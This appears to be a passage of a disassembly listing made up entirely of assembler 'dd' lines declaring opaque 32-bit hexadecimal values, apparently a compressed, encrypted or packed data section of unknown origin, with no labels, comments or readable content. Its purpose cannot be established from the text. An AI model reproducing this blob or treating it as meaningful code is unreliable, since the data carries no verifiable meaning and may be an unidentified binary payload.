		dd 3B01752Fh, 6600BC67h, 0CCEC7146h, 0B4EA526Fh, 0F593FE13h
		dd 0B9757804h, 28648Ch,	533853Eh, 8B0D9789h, 6D912000h
		dd 5E83AAAFh, 0F5BB0629h, 7124A756h, 3E0091E6h,	0E30B1CC6h
		dd 0BD35459h, 20CD2DDCh, 0D5F42807h, 0F04C8067h, 9D105C41h
		dd 3C90149Eh, 0BF9F200h, 13DF395Fh, 0E3EFE707h,	0F80AD596h
		dd 0E7185E0Eh, 0B16B1B85h, 6438C710h, 42009C8Fh, 0CC2AEEBCh
		dd 78380200h, 12DF4A90h, 973A0BC3h, 0FC900969h,	8E5CED59h
		dd 6411EF0h, 9A9D1742h,	1645A8Fh, 5FF6E9CCh, 409B6AF5h
		dd 0A85A48ABh, 0C19D7E00h, 0A9AA3F7Ch, 0BED8C053h, 5FD0989Bh
		dd 0AD269CF0h, 30117860h, 61372E0Ah, 4BD0074h, 438E9E8Dh
		dd 4900947Eh, 7048C4D7h, 40914CFh, 0D5A52F87h, 1F8B227h
		dd 0BB75AE7h, 0A422610Eh, 31CE7602h, 78E67D48h,	0DB195C00h
		dd 0C9E9EF99h, 3DEC00F8h, 3C05365Dh, 0BF00536Eh, 0B9AA30DCh
		dd 18BDDFBBh, 515964E1h, 7700A4Dh, 818DB800h, 54B78EC2h
		dd 0C5A50E3Fh, 0CF24DC37h, 58ACC03Ah, 5A1485C6h, 0C0E08175h
		dd 5BFC134Bh, 2994000Eh, 8BD2C1B6h, 0B72E9D88h,	9B11EC3Fh
		dd 0B160C239h, 1385D4DCh, 0CDF61F00h, 3DB6EF7Bh, 1E441451h
		dd 6602FC2Bh, 68D08BE6h, 21007046h, 0ADD90DD6h,	41A82Fh
		dd 0FD4F06DAh, 977DC1Ch, 0B4727103h, 0A03A0EA6h, 784E5412h
		dd 70B1F9h, 247A9A32h, 1400AAA8h, 0D51BC63Fh, 0EBB78Dh
		dd 0A6E4B53Bh, 66F131FDh, 0EA3F2B7Fh, 1EB30027h, 9D15D03Ch
		dd 8ACB9E3h, 3806361h, 91C9C6E1h, 757A009Ch, 0A6EA3113h
		dd 0C200D93Bh, 21C46905h, 209D3F7Fh, 1A5C8EF5h,	25280318h
		dd 80CF5E54h, 161589D3h, 724BEF2h, 9081B768h, 1EB9789Ah
		dd 0C61B8208h, 990A02Ch, 699C4B7Fh, 0A2D98C84h,	6FF8008Ch
		dd 0B6916B56h, 43C2010Ch, 772D2A1h, 15642097h, 0C4C8E729h
		dd 3DC9F400h, 16C48179h, 30BBF807h, 45BD2440h, 0FBECD800h
		dd 1070748Dh, 19F8BF05h, 248FD04h, 0C8027E4h, 26DF1C4Ah
		dd 17CD917h, 0D20C4295h, 481472A6h, 0ED840076h,	6056E823h
		dd 816B69A8h, 0F3C22C80h, 481C0771h, 742463D6h,	8F598940h
		dd 0D2183BC6h, 77009C52h, 5722C215h, 0EF027598h, 692FB30Ch
		dd 881C8005h, 50FCAA4Fh, 66C946Ah, 0E6382C6h, 2F1B2147h
		dd 0C081D09Dh, 5851C5EBh, 6B80306Ah, 0EC82046Eh, 21CCB617h
		dd 26A4B830h, 1C1E784Fh, 82D18939h, 0DC0B06A3h,	78031CD1h
		dd 81021E33h, 0B6D8AED2h, 0AA4700BFh, 45D9B4E4h, 0B8F862D1h
		dd 29FA3760h, 0E73F8FCAh, 75A8D040h, 0A6E92649h, 7ED440B0h
		dd 0C40759B3h, 0C7548831h, 0C500B8DAh, 71F56752h, 2A60004Eh
		dd 96BB5F48h, 0D894F0B7h, 0DAB6DB80h, 9F1E24Bh,	189277B3h
		dd 7A940E80h, 88281CD1h, 8A448421h, 0D7DA00BFh,	0AA07CA98h
		dd 1405B1F0h, 0DCE938D9h, 818DC008h, 2485A721h,	0C6B3702Eh
		dd 0E8F2F9C9h, 0E2EB70h, 25C526EFh, 0A46B4396h,	4D53D900h
		dd 2776D6DEh, 5EAA0115h, 0F0B229B9h, 57398084h,	0AFF3FDA4h
		dd 0DCD700CFh, 37E298CBh, 5212DEE4h, 20071AAh, 261F6697h
		dd 0B42306CDh, 4186F0B8h, 0DCF5EE3Eh, 640E7033h, 6077546Fh
		dd 45DF47CFh, 5D332459h, 7CB20F80h, 0DD825F60h,	0F89878A4h
		dd 738F009h, 7F4C4AEh, 9D6DBF5h, 2EBE219Eh, 0D198F3AAh
		dd 0FC98EFC8h, 2F345802h, 5A612578h, 0EA5B0EB0h, 0F7C0271Eh
		dd 4DFC7F6Bh, 0A0569C00h, 3FC6784Ah, 101300EDh,	9D4037EFh
		dd 470B792Fh, 0C461CCE9h, 23341C50h, 0B40E80DCh, 0D638DA79h
		dd 8A95B002h, 0E07022C1h, 514BA04h, 6996FB99h, 81B0D807h
		dd 0F140BD00h, 429EF748h, 20515AF6h, 75C5DB9Ch,	0E77F3800h
		dd 0C23BAE0Ah, 855F091Bh, 3CC432FCh, 0B91C4200h, 3A86E93Dh
		dd 0FAFA59h, 3F82CEBEh,	0B3E7D112h, 9A42EB1Dh, 0ECB92B99h
		dd 8800D433h, 69278FFAh, 85006EDFh, 0A98E91D1h,	3D524CACh
		dd 305EAA7Eh, 0C498CFD4h, 0A60045F4h, 5A347C37h, 75CBA95h
		dd 0B0A00C3Eh, 7BC6AF6h, 8F88BE91h, 5675140h, 5CA8D927h
		dd 2A5B48D0h, 85AF8FC0h, 0B47D00BCh, 233D3A8Ah,	0C4B9A45Ah
		dd 88D7023Fh, 5A9B6348h, 773200F4h, 34B6EB96h, 9458CB6Ah
		dd 94572EF8h, 6E645E04h, 2F54C05Eh, 0BC9FBB3Dh,	0D1AF4B00h
		dd 24323CA9h, 5DC43C05h, 0D971B880h, 0B7D6151Ah, 3FF0CF48h
		dd 81BC4C49h, 0BDED88E1h, 9FCB5ECh, 0A7E96F7Fh,	0EADCF4E8h
		dd 0CAF48501h, 0ABC9BA47h, 1B6EECh, 0D4A91455h,	54CBFA79h
		dd 0E03C4909h, 0A3E40BDCh, 3B60612Ch, 0E700B4A9h, 0CC32535Dh
		dd 3800A77Fh, 9B43D83Dh, 840791h, 0E265A2B0h, 0DF1BB2BEh
		dd 984440B4h, 18AC0025h
		dd 1F910C20h, 0C44BD49Ah, 0CB2D1440h, 1C22AF12h, 2ED66682h
		dd 53241180h, 0CFE40FA8h, 0BF902178h, 0C878CD70h, 0BCA96680h
		dd 8300DA9Eh, 34547482h, 0BE37131Dh, 0C7E24014h, 3100C553h
		dd 0B1D6736Bh, 0B2187DDh, 0E0C4B9E6h, 5EA96818h, 2BFEA48h
		dd 0BDFA4420h, 0A01C40D2h, 0C72218D6h, 67F32963h, 9C64DB00h
		dd 0E17FA253h, 0B14101E9h, 35BCEE37h, 0CC088F11h, 0EAD29C58h
		dd 2B9E080Eh, 0AFE018F6h, 0D5120779h, 8019CA69h, 0BD477840h
		dd 63CF2B0Bh, 2160680Ch, 7D3900B7h, 0F8E15FDEh,	0F24C9ACAh
		dd 7B88805Ch, 0EEA1567Fh, 913A00DBh, 0FD056AC4h, 2E9021ADh
		dd 0D7F03103h, 804DCC67h, 2C5E92B2h, 60B04598h,	474ADFFCh
		dd 0C6E2F713h, 64BCC8h,	0D39AE5E7h, 0C18BE4FEh,	6A4835EAh
		dd 0CC5B0E6Ch, 5302C455h, 0D1ED3247h, 3C215A22h, 5F018484h
		dd 0B584324Fh, 0DB1CA561h, 2B85EFBh, 0C800DBE3h, 0BF16AF81h
		dd 0BF64DE7h, 86D83F5Fh, 0D6F02898h, 0E0087716h, 0C1513300h
		dd 446A53h, 94F803C8h, 6138C30Eh, 0F201B491h, 1DEF6A3Dh
		dd 0BC8F8h, 0D053A102h,	3744B79Eh, 0B3AA7701h, 90ED60C6h
		dd 14894828h, 50C79BE0h, 0F2050E90h, 0AF7CB0A5h, 35D48Ch
		dd 0B543E7E9h, 87EF6B4Ah, 0AD9CB400h, 0CD2DC5CEh, 0F7B100C2h
		dd 0D31D604h, 615C1921h, 6F809D20h, 3EBC1F68h, 60CA12D0h
		dd 0FA8824ABh, 9296A86h, 9B6A4982h, 0A95978E8h,	9A80EC9Eh
		dd 5DAF5F58h, 491F129Dh, 52B402D4h, 44F9D30Ch, 0CB468201h
		dd 2DF4355Dh, 2C7913h, 8E08AF70h, 4B219EFEh, 0CD6D4200h
		dd 5EDCE659h, 4E090F36h, 628BB028h, 5BC66881h, 3C52F95Ah
		dd 0A52780F4h, 0DE9EBDh, 0AB4D9113h, 64F5AA0h, 39B0F100h
		dd 0D087B4BEh, 0A6B90049h, 0B23F8DEDh, 4A1EDC57h, 0DBC9DE41h
		dd 0EFC7068Eh, 45A14458h, 0B2AF1800h, 16FF1F01h, 2D9A73BBh
		dd 0B4AFC729h, 0F94B33A0h, 7800E40Dh, 0B9EBBA03h, 90D9BC8Eh
		dd 90A117D4h, 99884009h, 3ECFEF45h, 731744EEh, 18306F47h
		dd 50B3525h, 5C43339Ah,	0B8E48102h, 0B085D486h,	6E7DAD1Ch
		dd 9DB17940h, 504E45AEh, 0FE454A6h, 4D51C985h, 8F972DC0h
		dd 6011789Ah, 0C056BAAh, 0A0FE46B4h, 0CB0534ECh, 3762CC71h
		dd 0D221D4E6h, 0E8DEE903h, 0B01DF80Ch, 38570598h, 0E2F5C8A5h
		dd 94B070C8h, 3A561607h, 7F204DBAh, 3C38170Ah, 0C0818353h
		dd 328A1B6Dh, 3AF8698Fh, 0DEB28071h, 0FFF0C3B4h, 6234E08Eh
		dd 855D28EDh, 721E40E6h, 0FBC06453h, 1CE4222Eh,	85CF0052h
		dd 4DFD36Ah, 73243289h,	0E90DA135h, 0B84C611Eh,	0EA3B1E89h
		dd 0A9D549CBh, 41CD6D00h, 0B3003577h, 0E08EA5DBh, 0F2B772h
		dd 907485B6h, 0F19409Bh, 927B201h, 500C884Fh, 7B98D4E4h
		dd 671F865h, 0F0A33DB6h, 7E0E7187h, 6095606Eh, 0CC6AC65Ch
		dd 9C0F0042h, 644AADCBh, 0D4A4B82Bh, 26ED6801h,	0E307522Eh
		dd 3309EC40h, 974903C5h, 8D2104C1h, 1551A9C8h, 0BCAE58h
		dd 0FD2D19F0h, 7EF7EE67h, 0D21B1AB0h, 98595195h, 8541813Fh
		dd 147D6C5Ah, 3E4F0h, 776EF7E2h, 0EC9FFD10h, 66002C98h
		dd 0AE2131E9h, 0FC2650CBh, 56C6002Fh, 7629742Eh, 82001BCFh
		dd 0B10913B6h, 76C90BEh, 7FEF4859h, 0D6480DEh, 0A5249C12h
		dd 5109E7CFh, 0E48C4ECh, 397FBED2h, 0DFB3BC40h,	0DD908B09h
		dd 89984300h, 2B05A976h, 7145248Fh, 662A113Ch, 0EA0C360h
		dd 0A4AA02AFh, 0CB420C40h, 0B00264D1h, 60DE3C12h, 124F320h
		dd 0B7E21172h, 4C683074h, 65F088h, 4D0F597Bh, 924269E3h
		dd 89EEDC00h, 95099F7Dh, 0B340690h, 516EC753h, 0DBB03300h
		dd 51C87E8Bh, 0FB0F0F3Eh, 0F1209885h, 6CC5A783h, 0D145DD01h
		dd 37AFAA63h, 9D4C302Fh, 3E387A59h, 0A7D216DFh,	17FD5820h
		dd 2CBA005Bh, 8DA4C7A3h, 342904ADh, 4200DCC8h, 0E49151CDh
		dd 103800B0h, 2783716Dh, 5AEE1B35h, 0D8D7C428h,	0C6520578h
		dd 3C884AB4h, 49CF0061h, 0BC392F34h, 3B38013Ch,	1B9C8AD6h
		dd 0CAC0B0DAh, 317A8AF7h, 0D4C93464h, 0DE73F0E1h, 0BEBBC709h
		dd 101D8B01h, 1E74564h,	0E2A81D87h, 0E812485Eh,	0D70901F0h
		dd 0AF55BDDFh, 0EC203250h, 341ED1h, 9C88DB50h, 0F84BFCB1h
		dd 0A4B4D000h, 0F4F62662h, 9E637084h, 4074AE34h, 18EF014h
		dd 9A6EB00h, 23496BAh, 1F4812CCh, 0E4F888FAh, 3AE83106h
		dd 4CD4699Ah, 301B4B6h,	331DE69Fh, 2B54E972h, 0F24CF820h
		dd 51130055h, 78C4BB0Dh, 287953D1h, 16F5C70Bh, 9B7410C2h
		dd 0A46700F9h, 2DFFEBCh, 0DE0F713Ah, 393840BFh,	51E0D40Eh
		dd 8A6F0509h, 0CCFBC269h, 0FF3ABEE8h, 4B881E47h, 0A35E3D00h
		dd 4B0B1E3h, 0C44D9927h, 23894063h, 0F2B97907h,	8EC10195h
		dd 3F724209h, 8073ECh, 993DD51Eh, 26741303h, 60E4A560h
		dd 380A40B2h, 0E6129898h, 0A4E2CEF6h, 3206813h,	0F179348Ah
		dd 0A490D1C7h, 6AB12E53h, 1327CAFCh, 0A2AC60D2h, 302C09C0h
		dd 18B4C4B2h, 9026548Fh, 7200F777h, 32C7C5F5h, 1624BD2h
		dd 4CB0094Eh, 602A379Bh, 90FE706Bh, 3F79F502h, 5CD8BBAAh
		dd 0DD51401Ch, 0F704926Ah, 64B4BFFEh, 0A1D1FC81h, 2A9A9D11h
		dd 0FFBC2820h, 68DC5423h, 0A9E0044h, 6CBD42E5h,	300088C0h
		dd 17A27560h, 0B4D16B7Ah, 0CC1D4014h, 5500B7B2h, 44C3A6A8h
		dd 45F48A5h, 599E37CAh,	0A7A48072h, 8085D01Bh, 0BBE684Ah
		dd 20006BF0h, 0A0F8D683h, 1807C480h, 2952C891h,	0C5005E38h
		dd 4506F97Ah, 162257AFh, 0C83B1A2Eh, 5102B768h,	0C7191FA4h
		dd 0BD12063h, 6F00554Fh, 672986C5h, 0F0CCAAh, 0D5785398h
		dd 0CF4930A6h, 0D1818937h, 0F40F7070h, 5C3400BDh, 773E4DCCh
		dd 990FAB20h, 497D3A06h, 0D804022Dh, 7568849Eh,	9BF8B740h
		dd 2C01E5A6h, 674B93B9h, 7BF4EAB6h, 0F03C2F57h,	8863A8A0h
		dd 0D490CFF4h, 8ADE3400h, 0B70493ADh, 0AB56102Fh, 0FEEE80EAh
		dd 498A11h, 0BBE53001h,	903591Ch, 0D623D301h, 0C767CC8Fh
		dd 130AEED0h, 7C721Eh, 0C6BA9D86h, 4707EF4Ch, 0BF191C2Ah
		dd 3FEEBC40h, 3C879BEh,	8C0A952Fh, 0DEA041F1h, 20C02DC9h
		dd 0A9011A47h, 115460E4h, 10D003F4h, 0CF7DDD00h, 161D2932h
		dd 1CC90A6Bh, 1CC8DEh, 0F98E43ECh, 29003942h, 0DE065FF0h
		dd 0FE1B20Ah, 492DF858h, 4C89402Ch, 1F153801h, 47AB2F66h
		dd 0B7C0BEF1h, 0C05B906Dh, 0D838E3B9h, 9876923Eh, 0D194AC18h
		dd 73BC18h, 7E136F57h, 106C4C32h, 302DBE00h, 8C71E939h
		dd 0B6E2007Bh, 0EB948F02h, 0C130E44Ah, 0F7A7A961h, 8B6506C0h
		dd 91B3190Ch, 154DDF00h, 43EAD6Fh, 97C10F59h, 378020E1h
		dd 0A97170ACh, 0BAB5C506h, 60A148ADh, 5CBC0994h, 0D4003C43h
		dd 1B663C2h, 0DE273FDEh, 0C4A971h, 33F88A26h, 0A800F205h
		dd 85E529Fh, 1B17A0h, 7CE65B3Ch, 9724E1CEh, 0B1D9BA18h
		dd 0C0664B39h, 67C7EE69h, 6B094A26h, 80F13941h,	1040E647h
		dd 8DB40085h, 0FD32983Eh, 0AC0AE162h, 58BF0CA0h, 26CE2F03h
		dd 5CCDC855h, 45A53130h, 80DE947Ch, 95D63761h, 2A32770h
		dd 83A99C18h, 0C2E0A52Ch, 60001EC5h, 97AA356Bh,	88A8F1h
		dd 3C03F7AFh, 910BA1F6h, 0EC3CD0A4h, 2DBA2Ch, 0E559CA22h
		dd 7B8F69Bh, 2B8D4BE6h,	94E17062h, 0F700FE4Ah, 8C95A949h
		dd 565B7E9h, 0E4035769h, 8BA04059h, 0EF07A36Fh,	44DCC102h
		dd 0E0F0ACBAh, 3613507h, 2532FC7Ah, 310045E4h, 8A668C15h
		dd 0D1B673h, 48025144h
		dd 0ED68BF2Fh, 3742EA0Ah, 0FC009023h, 4F2188Fh,	57961D1Eh
		dd 0CFC1B091h, 441D905Eh, 380E40Ah, 0B8D50132h,	0B9710061h
		dd 41DC344Bh, 0E5302037h, 0F0E2795Eh, 0C768009Fh, 11DF2A3Bh
		dd 0D200A419h, 815C32BFh, 90297707h, 1808EFCCh,	1D2EB644h
		dd 4066453Bh, 0A6E5561Ah, 0FE003FFBh, 54C21103h, 768C7A6Ch
		dd 72744DEh, 0AD063907h, 65C0E411h, 16D4F7E1h, 0E2412Eh
		dd 8F3DEB1Ch, 4418890Eh, 7769B907h, 24820730h, 10C722B7h
		dd 14E9407Ch, 36658D03h, 0EFB917h, 0A40F77E0h, 6D68CC81h
		dd 0F085D900h, 741FE3Ch, 0C7290237h, 0C4E444ABh, 0B7C28090h
		dd 0B1D9CEh, 55759CF8h,	0FA7D0009h, 1907CC80h, 6260E497h
		dd 4EB49031h, 35D9001Ch, 83DF6594h, 0A002DD61h,	0F3CBF5E4h
		dd 0A7789038h, 7E0E09AFh, 0EC007450h, 0BA9F751Ah, 82DC72h
		dd 0E1F180A8h, 0F8D90097h, 0B7F5266Ah, 60008269h, 0A83ABA06h
		dd 0CFB3BFB6h, 7E603CA9h, 50C9C064h, 8D02F9FCh,	182F0FD8h
		dd 8998A045h, 6478B938h, 8009ACE8h, 578FFE1Ch, 0DC784148h
		dd 0DEF0A6C0h, 0F195BE5h, 4328D30Ah, 5A618BA0h,	88C3FCDCh
		dd 4418AAh, 16B61459h, 0CC6F9DCDh, 8563504h, 0D4C8724Bh
		dd 0F95C60DFh, 0F4788797h, 2E02FB00h, 0F2F325B9h, 395318ECh
		dd 4A7B81E3h, 8B826A00h, 8F0E7A2Bh, 486B790Ah, 94000C95h
		dd 4B1167D4h, 61DF486Eh, 5D797000h, 0A8B2B9EFh,	51A388h
		dd 6EADDD4h, 3E63CA20h,	4FAEBB19h, 90229421h, 21B1007Fh
		dd 0F3726D8h, 8D010539h, 0F410E382h, 3180B5B9h,	0EE8AF1C3h
		dd 6019DD3h, 0B65F697Ch, 0B04C97A5h, 87FC1EA6h,	0B0534Dh
		dd 21C70430h, 5786861h,	4A0A3701h, 53E1F0E3h, 0B2D98850h
		dd 0E42C0070h, 0EBB07D41h, 0D60179B8h, 0BB3BFB5Ah, 824BDD3h
		dd 0AB9109E7h, 8C8142C7h, 33A80FB8h, 0E8C20F2Ch, 0B7570085h
		dd 7F0D5E5h, 73B2A3F6h,	0E1EC504Ch, 807149Ch, 747B3B7Ch
		dd 0D5B0025Bh, 5A3087C0h, 8949ED21h, 5001A061h,	0C623359h
		dd 22C5E712h, 0AC400C60h, 914C0AD6h, 9D3980B8h,	1CC1AA6Dh
		dd 0FAEFE8D7h, 38F2EA00h, 0D0940BADh, 5A9B29C0h, 1A4186h
		dd 0EB34EC54h, 0FC0CAD67h, 0AAE59C0Bh, 0FBC20C9h, 4575Bh
		dd 76C1CC8Eh, 4B77B127h, 5FC6556h, 7E969D1Dh, 68DDB803h
		dd 28C0228Ch, 8BE9AB00h, 6CE442FDh, 0F8106002h,	0FA355AD7h
		dd 67926CA0h, 0C66AD0C0h, 603E8FF7h, 0A87E286Dh, 6E00E697h
		dd 0CC8D4D66h, 90985787h, 0AF8F0C44h, 678D559h,	0DEF66B04h
		dd 3C405BC7h, 23337FE4h, 7EDB20C7h, 888818E4h, 6CDF0056h
		dd 552BFB26h, 6A7E62FFh, 0BD0F2E05h, 8C39C70h, 0B65D03Bh
		dd 4679304Bh, 0C303E39h, 97F49F51h, 0E5003669h,	0DD719167h
		dd 22AE0031h, 3C1DE7BDh, 31363A9h, 48068106h, 7D088084h
		dd 0C52212A4h, 625000F4h, 59B96B25h, 0CD27FB00h, 0D2E3F87h
		dd 78035C45h, 1702681Dh, 0E08C203Bh, 48C090A0h,	5A4BA88Ch
		dd 62F700E3h, 0CC9D226Fh, 93120886h, 78020E19h,	0E10F3E32h
		dd 3C115C20h, 6F6AC039h, 64BB1B7Ch, 71CC8A00h, 30817D36h
		dd 801946E4h, 92002254h, 1D945C3Bh, 0AA25B93h, 0DD91084Bh
		dd 0BF2780E0h, 0C6A44D79h, 0A6485000h, 54FF1499h, 0C9D43F5Bh
		dd 0B32E4B81h, 865AC0E4h, 0F9911D59h, 9B130041h, 16F49679h
		dd 8E06E880h, 0EC3C53E7h, 0CC8C1D21h, 92FB81BFh, 2090199Ah
		dd 76F83048h, 0DE066B1Fh, 0A90A9901h, 1C62B9FCh, 59F34800h
		dd 8E6863C6h, 0B5CFBF0Eh, 6C4B4213h, 94E8A049h,	1DB29552h
		dd 44E70880h, 80B14A31h, 181935F0h, 4729BE6Fh, 0A2A0F0E4h
		dd 580B63Ah, 0DEEAF689h, 1DCC21C4h, 8A5C2004h, 71103903h
		dd 7AE05462h, 47493C8h,	8C734B9Fh, 0BA2663A0h, 0E191C08Eh
		dd 0BE3E8C00h, 2ECCDE0Ah, 141061D4h, 228CEA3Bh,	0B71931DCh
		dd 0CCE8EB49h, 62004805h, 92A4220Ah, 39CE06ACh,	0F297B81Dh
		dd 0ED970242h, 0AC939110h, 7981C2C8h, 983F780Ah, 281A403h
		dd 0C8536030h, 0E2491440h, 0FBE900F6h, 8F1C893Eh, 6239C0CCh
		dd 97DF3C7Ch, 60004B80h, 6F99416h, 0E1ED0085h, 0C87A71FFh
		dd 0C21D36BDh, 0F28214CCh, 44784B0Fh, 3F50CA8h,	8369F891h
		dd 308B3700h, 0C3859EB2h, 0ACF35C56h, 0FB869201h, 0F48FA82Ch
		dd 5C125113h, 10633053h, 82CF9AA2h, 22E333B8h, 846F493h
		dd 59BE4300h, 65C15FEDh, 25F5008Dh, 9B807B2h, 47805EE1h
		dd 9DA03F46h, 9CFA8A80h, 9ADF8C20h, 2B40C38h, 1E71BCB0h
		dd 9046E9h, 0FE559803h,	8DBB52F6h, 33B21A00h, 0A82A9ACDh
		dd 7230C550h, 17900407h, 1BECC8DFh, 529C103h, 0F0289A19h
		dd 1E64645h, 0E8566F3Eh, 340749DAh, 0AA4CF61Ch,	63FF0BB4h
		dd 0D01484EFh, 0E716E640h, 0C31FDE48h, 78C05171h, 0F905AD6Bh
		dd 0FA7200CBh, 4AF46A65h, 54B9C6BBh, 4D444028h,	39411CCFh
		dd 0CCBE9419h, 0DF4AB822h, 5D808043h, 3FB0D031h, 2654006Bh
		dd 858F8D49h, 654CAB1Ah, 0E4DA0D94h, 0D0E83158h, 4C310097h
		dd 0E25A96C8h, 3602284Fh, 0B7878CB3h, 0D388829Ch, 0ECC4C0h
		dd 401D2EDBh, 0B0234E3Ch, 3BFFFC02h, 609EB58Ch,	5EBAEF4h
		dd 601CB672h, 0B41CC0DFh, 0E31E59B1h, 8F45ED39h, 0B2169896h
		dd 0CC7D5400h, 2769BA81h, 102218ACh, 0AB80D31Bh, 3A41A506h
		dd 0EF5C210Fh, 4BC65D1Ch, 4829B47Bh, 608004E4h,	36E35F48h
		dd 353FA300h, 0DA33FFE6h, 55590017h, 0A19F44A8h, 8B023C8Fh
		dd 3A5390CEh, 984844EDh, 6138284Eh, 12322899h, 0E791F2E4h
		dd 901A3042h, 7CC49224h, 0BF790003h, 0C2150CC0h, 0B09068FFh
		dd 0EFA98100h, 9431E242h, 0CCECE5A8h, 5D031F99h, 245C7A01h
		dd 3FD8B52Ch, 0A2ED6901h, 248EF1BAh, 384C65D4h,	17E30B30h
		dd 32EC01E7h, 8C602521h, 3E96E007h, 0FB00EC80h,	8EE15D17h
		dd 0FE2CBA13h, 8500B8B7h, 8FC79701h, 1A109874h,	0E9E49429h
		dd 670316C0h, 837F7900h, 0EEB0A0EAh, 0F69B04C7h, 0C1A80724h
		dd 32724B64h, 99E840B8h, 182CB209h, 0B7988501h,	11A54980h
		dd 0A2B0C102h, 62E424F4h, 0CF5A004Ch, 7C2CA10Ah, 8F3E0293h
		dd 0B9F78E01h, 52004472h, 111815E4h, 7691D0F5h,	1A073978h
		dd 0F0556067h, 9E5744Eh, 0CD181090h, 8488960Ch,	19C879DCh
		dd 0A1426F4Bh, 649430F5h, 0FC096A2Ch, 4844BF11h, 1DF35C34h
		dd 52DE321Ch, 0A2E824C2h, 2D20004h, 0F0E698EBh,	3D5A24DDh
		dd 0BB1943D8h, 2FB5100h, 4FD1DEE6h, 0F1A20153h,	0F222056h
		dd 24E8FC0Bh, 0B7BF22h,	7328031Ah, 18E970D4h, 0CC358600h
		dd 0C14F7A8h, 722C0938h, 0CE8C004h, 730F5118h, 40611DC8h
		dd 2E4D6CA8h, 0F5A0014h, 75E0BED1h, 4960C0D4h, 89536B31h
		dd 1A6B898h, 373ECAB5h,	0E4F70BDBh, 0C4242EA2h,	0A402A890h
		dd 6103F6A9h, 18164720h, 0BD18A718h, 0EF9511h, 0D1542C57h
		dd 34E68112h, 790271F6h, 88133C3Bh, 0CCB8B0D5h,	0A848029Fh
		dd 0DE351BAh, 2EF39440h, 0C0249EEEh, 0F46798E6h, 498966E0h
		dd 0B7440096h, 22D6A882h, 4B025108h, 480A01D4h,	0E7440EEh
		dd 0A29A1CC7h, 611498Fh, 0C6362C03h, 49B3C38Fh,	0F660E4CCh
		dd 9B0DE117h, 562EB000h, 13C1FAh, 5D1E20Ch, 0E7C287C5h
		dd 33A69801h, 5F3FE45Ch, 3A59918Bh, 0E0603412h,	61040E17h
		dd 0A91B5609h, 13E9EEC0h, 316060E4h, 831C0CC8h,	4ED3D71Dh
		dd 0F639EBC0h, 4251463h, 376A6273h, 17BCE0B5h, 0ACC30E7h
		dd 0B8916E04h, 8B2C6DEh
		dd 3B903421h, 194ABF86h, 489F683Bh, 7C1F0FDAh, 27AAE008h
		dd 1254384h, 2198A1FCh,	28A2DFECh, 0C859C500h, 0A02440C9h
		dd 0D5092C82h, 3E29005Ch, 9E481E86h, 58D8FB58h,	0BE8C07DDh
		dd 0D9D7DEFEh, 0CD193C40h, 55AC0072h, 2489ED6h,	0AF0E7739h
		dd 2338A765h, 1493Ah, 9C0F1E38h, 4FCE2728h, 5BAA5C0Ch
		dd 0F91874h, 78B5D6F8h,	546A53D8h, 0C0B64001h, 68254E04h
		dd 793626ECh, 0DC910690h, 5EC49D10h, 3003F371h,	5A80AFBFh
		dd 9A40F727h, 0CF625B79h, 22816159h, 0C484BFA2h, 9F0FA435h
		dd 20FEDBB1h, 0F18D23EEh, 8E1A07D1h, 0D1B40E29h, 9EF8947Bh
		dd 2E4280B1h, 5F57C990h, 9A86D9C0h, 4A780E18h, 0C312961h
		dd 8DD648B0h, 94004710h, 95E00A43h, 70E04D8h, 0B67725BFh
		dd 0C0D0E4E9h, 7D6140BEh, 6D5341C0h, 3AD576FBh,	72008A82h
		dd 704F40DDh, 0B8A8100Dh, 0FE01DCF2h, 76FCCF9Eh, 19801F0Eh
		dd 0DA985C91h, 0C40006ABh, 0B1AEC9C2h, 12C1470h, 6D647BACh
		dd 821DFB77h, 0F0AFBC31h, 976F60CAh, 7B0E188Bh,	0CB76894Bh
		dd 0C2722700h, 77CC6F6Dh, 391862F8h, 88A00936h,	1F20D693h
		dd 0E1E33D00h, 1670F3A4h, 12330BD4h, 49005184h,	0F426DBE8h
		dd 0BA6C7B01h, 5B55C6C4h, 0C32E7840h, 8D70013Dh, 9B091502h
		dd 6F6840A4h, 820F6C5Dh, 81C56D0Dh, 77E3295Fh, 0B4D880DAh
		dd 60D61EBAh, 0AAF3170h, 507D08E1h, 0E34AE00h, 2D3FCE37h
		dd 77A0004Fh, 3B442F35h, 0E8A4977Bh, 2E922C0Eh,	0C409D79h
		dd 75E773Ch, 41420757h,	87706F36h, 5240B7D7h, 9C902AF8h
		dd 3F057380h, 8EE204D9h, 2109F447h, 0C00D3552h,	0B8BCE341h
		dd 24D004Fh, 0DA2F5362h, 5E2C4A14h, 0E300CC2Eh,	0AE80BF9Fh
		dd 590160A1h, 6A3EB7A6h, 3886C81Fh, 8DFA00FBh, 0E924D4E1h
		dd 830E15AAh, 0C4009C7Eh, 0BEEDE0ACh, 7203BF4Eh, 61C941AEh
		dd 1C213B63h, 9BE0F280h, 9DC68AA9h, 5A7C0E08h, 0E114837Ah
		dd 0A9BB56EBh, 17EA80A4h, 0C40337D3h, 2BD5742Ah, 0A708BA75h
		dd 0D1D00B94h, 0E39CFD0h, 0E310F5D6h, 5503A360h, 4D1C30B5h
		dd 518C9392h, 6B9E026h,	5A4FD377h, 3100717Ch, 0DC1077Dh
		dd 320BFB4h, 6BF2D370h,	67E8D15Eh, 1A54A124h, 8D79E884h
		dd 0EA0705FEh, 90DFB86Ah, 468F0800h, 7CE50025h,	782ED99Fh
		dd 0D490FECFh, 69798437h, 5361B731h, 3A3F02C0h,	85008059h
		dd 3E076EC3h, 4F501B52h, 4000D798h, 0E786DCAAh,	49C504E1h
		dd 0A1182478h, 0F6308916h, 0B45F5100h, 0BF2C40B7h, 6EC80A31h
		dd 878CFE37h, 6052DD9Fh, 0E8824F5Bh, 8061721Eh,	95F1BC0h
		dd 14938151h, 505AB032h, 2C1CE900h, 913AD5C2h, 37FCB706h
		dd 7510748h, 0D4FAC9AFh, 0D6E7009Fh, 3E00A27Fh,	2BA36B9Ah
		dd 18DC7D0Ah, 310D4939h, 3F02AA3Dh, 53BD4BE0h, 0E4AAC0D6h
		dd 47AE0062h, 4F708598h, 0DC006AA6h, 592180B3h,	0C129A12Ch
		dd 13E2ADE1h, 0F3CDFCD4h, 90C13Bh, 9E9B3C63h, 0E52B4C7h
		dd 3776C872h, 8DA97118h, 2125D21Eh, 35279D00h, 1C785674h
		dd 4419F943h, 88047051h, 0D80C9E94h, 1122A483h,	3C9D00C7h
		dd 18C53252h, 9F006633h, 548FDD97h, 125BCB25h, 105D1Bh
		dd 0A229AD8Ch, 0DE01246Bh, 2C2552B5h, 89800349h, 291801B6h
